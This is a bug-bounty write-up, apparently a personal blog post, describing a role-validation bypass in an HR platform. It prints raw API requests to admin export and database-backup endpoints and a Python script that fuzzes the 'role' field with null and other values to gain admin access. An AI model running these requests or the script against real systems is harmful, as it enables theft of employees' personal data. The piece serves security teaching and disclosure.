Hey there!๐Ÿ˜

You know that feeling when you accidentally get added to the wrong group chat and suddenly you're reading about Brenda's cat's dental surgery? Yeah, this was like that, but instead of cat photos, I got access to everyone's salaries, Social Security numbers, and the keys to the entire company kingdom. All because someone forgot to check if I was actually invited to the party. ๐ŸŽ‰

It all started when I was testing a fancy new HR platform called "PeopleFlow." I had a basic user account with about as much power as a soggy paper towel. But sometimes, even soggy paper towels can short-circuit the whole building if you know where to pokeโ€ฆ

Act 1: The Humble Beginning โ€” Just a Regular Joe ๐Ÿ‘จโ€๐Ÿ’ผ

After my usual recon dance (you know the drill by now โ€” subfinder, httpx, the usual suspects), I found PeopleFlow's main application. I created a test account and poked around. The interface was... underwhelming. I could update my profile, see my own (fake) salary, and request time off. Boring.

But then I found something interesting in the network tab when I updated my profile:

PUT /api/v2/users/58432/profile HTTP/2
Host: app.peopleflow.com
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IjAifQ...
Content-Type: application/json
{
  "firstName": "Test",
  "lastName": "User",
  "email": "test@example.com",
  "department": "Engineering",
  "role": "user"
}

Did you see it? That innocent little "role": "user" parameter. My brain went: "I wonder what happens if I change that to... something else?"

Act 2: The "What If" That Changed Everything ๐Ÿค”

My first attempt was predictable:

Payload 1: The Obvious

{
  "firstName": "Test",
  "lastName": "User", 
  "email": "test@example.com",
  "department": "Engineering",
  "role": "admin"
}

Response: 403 Forbidden - Invalid role assignment

Okay, fair enough. They were checking if I could assign roles. But what if the check was only on the request, not on what was stored?

Payload 2: The Sneaky Null

{
  "firstName": "Test",
  "lastName": "User",
  "email": "test@example.com", 
  "department": "Engineering",
  "role": null
}

Response: 200 OK - Profile updated successfully

Wait, what? It worked! But what did that even mean? I refreshed the page andโ€ฆ nothing looked different. Still just a regular user.

Act 3: The Plot Twist โ€” Hidden Role Inheritance ๐Ÿ”„

This is where most hunters would stop. But I had a theory: what if setting my role to null made me inherit some default permissions? Or worse (better?) - what if it broke the permission checking entirely?

I started exploring endpoints I shouldn't have access to. Most returned 403 Forbidden as expected. But then I tried:

GET /api/v2/admin/user-management/export-all HTTP/2
Host: app.peopleflow.com
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IjAifQ...

And the response made me choke on my coffee:

{
  "status": "success",
  "data": {
    "exportId": "exp_8847291",
    "downloadUrl": "/api/v2/admin/exports/exp_8847291/download"
  }
}

It worked! The server had generated a full user data export! I immediately downloaded it and found myself staring at a CSV containing:

  • Every employee's personal information
  • Salary data
  • Social Security numbers
  • Performance reviews
  • Even the CEO's home address

I had become an admin by accident! But how? Time to investigate.

None
Gif

Act 4: Reverse Engineering the Broken RBAC ๐Ÿ”ง

I needed to understand what was happening. I created a script to systematically test the broken role validation:

Proof of Concept: The Role Validation Tester

import requests
import json
import time
BASE_URL = "https://app.peopleflow.com"
HEADERS = {
    "Authorization": "Bearer YOUR_TOKEN_HERE",
    "Content-Type": "application/json"
}
def test_role_manipulation():
    print("[+] Testing role validation vulnerabilities...")
    
    test_cases = [
        # Special values that might break validation
        {"role": None},
        {"role": ""},
        {"role": " "},
        {"role": "undefined"}, 
        {"role": "null"},
        {"role": "true"},
        {"role": "false"},
        {"role": "0"},
        {"role": "1"},
        {"role": "user,admin"},
        {"role": {"role": "admin"}},
        {"role": ["admin"]},
        {"role": "USER"},
        {"role": "Admin"},
        {"role": "ADMIN"},
        
        # Role inheritance patterns
        {"role": "inherit"},
        {"role": "default"},
        {"role": "system"},
        
        # JWT role confusion
        {"role": "jwt"},
        {"role": "token"},
    ]
    
    for i, test_case in enumerate(test_cases):
        print(f"[+] Testing case {i+1}/{len(test_cases)}: {test_case}")
        
        payload = {
            "firstName": "Test",
            "lastName": "User",
            "email": "test@example.com",
            "department": "Engineering",
            **test_case
        }
        
        response = requests.put(
            f"{BASE_URL}/api/v2/users/58432/profile",
            headers=HEADERS,
            json=payload
        )
        
        if response.status_code == 200:
            print(f"[!] SUCCESS with payload: {test_case}")
            
            # Test if we now have admin access
            admin_test = requests.get(
                f"{BASE_URL}/api/v2/admin/user-management/export-all", 
                headers=HEADERS
            )
            
            if admin_test.status_code == 200:
                print(f"[!] ADMIN ACCESS CONFIRMED with payload: {test_case}")
                return test_case
    
    return None
# Let's find the magic payload!
magic_payload = test_role_manipulation()

The script revealed that multiple special values broke the role validation! null, empty string, and even a simple space all resulted in admin access.

Act 5: The Rabbit Hole โ€” Chaining to Full Compromise ๐Ÿ‡๐ŸŒ€

But wait, it gets better! With my new admin powers, I discovered I could access the role management API itself:

GET /api/v2/admin/role-definitions HTTP/2
Host: app.peopleflow.com

The response showed me their entire RBAC structure:

{
  "roles": {
    "user": ["read_own_profile", "update_own_profile"],
    "manager": ["read_team_profiles", "approve_timeoff"],
    "hr": ["read_all_profiles", "update_salaries"], 
    "admin": ["*"],
    "system": ["internal_apis", "database_access"]
  }
}

Even more terrifying โ€” I found I could promote other users:

Payload 3: Making Everyone Admins

POST /api/v2/admin/user-management/58432/role HTTP/2
Host: app.peopleflow.com
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IjAifQ...
Content-Type: application/json
{
  "role": "admin",
  "reason": "Because why not?"
}

I could literally make every user in the system an administrator! But the piรจce de rรฉsistance was discovering internal system endpoints:

GET /api/internal/database/backup/download-latest HTTP/2
Host: app.peopleflow.com

Which gave me a full database backup. Because why not at this point?

Act 6: The Responsible Disclosure (And The Payday) ๐Ÿ“ง๐Ÿ’ฐ

My report included:

  1. The initial role validation bypass
  2. The automated testing script and results
  3. Proof of mass data exposure
  4. Demonstration of privilege escalation for other users
  5. Access to internal system endpoints and database backups

The company's security team responded within 15 minutes. They'd assumed their JWT validation was sufficient and never considered someone might set their role to null.

The fix took them two days and involved:

  • Adding server-side role validation on every profile update
  • Implementing proper RBAC checks on all endpoints
  • Adding audit logging for role changes
  • Migrating to a more secure authentication system

The bounty? Let's just say it was more than the CEO's monthly salary (which I unfortunately knew thanks to my accidental admin access).

So next time you see a role parameter, don't just try "admin" and move on. Ask yourself: "What happens if I break the validation entirely?" You might just become the accidental ruler of the digital kingdom.

Now if you'll excuse me, I need to go decline some LinkedIn requests from PeopleFlow's engineering teamโ€ฆ

Happy hunting! ๐Ÿšฉ

Connect with Me!

  • LinkedIn
  • Instagram: @rev_shinchan
  • Gmail: rev30102001@gmail.com

#EnnamPolVazhlkai๐Ÿ˜‡

#BugBounty, #CyberSecurity, #InfoSec, #Hacking, #WebSecurity, #CTF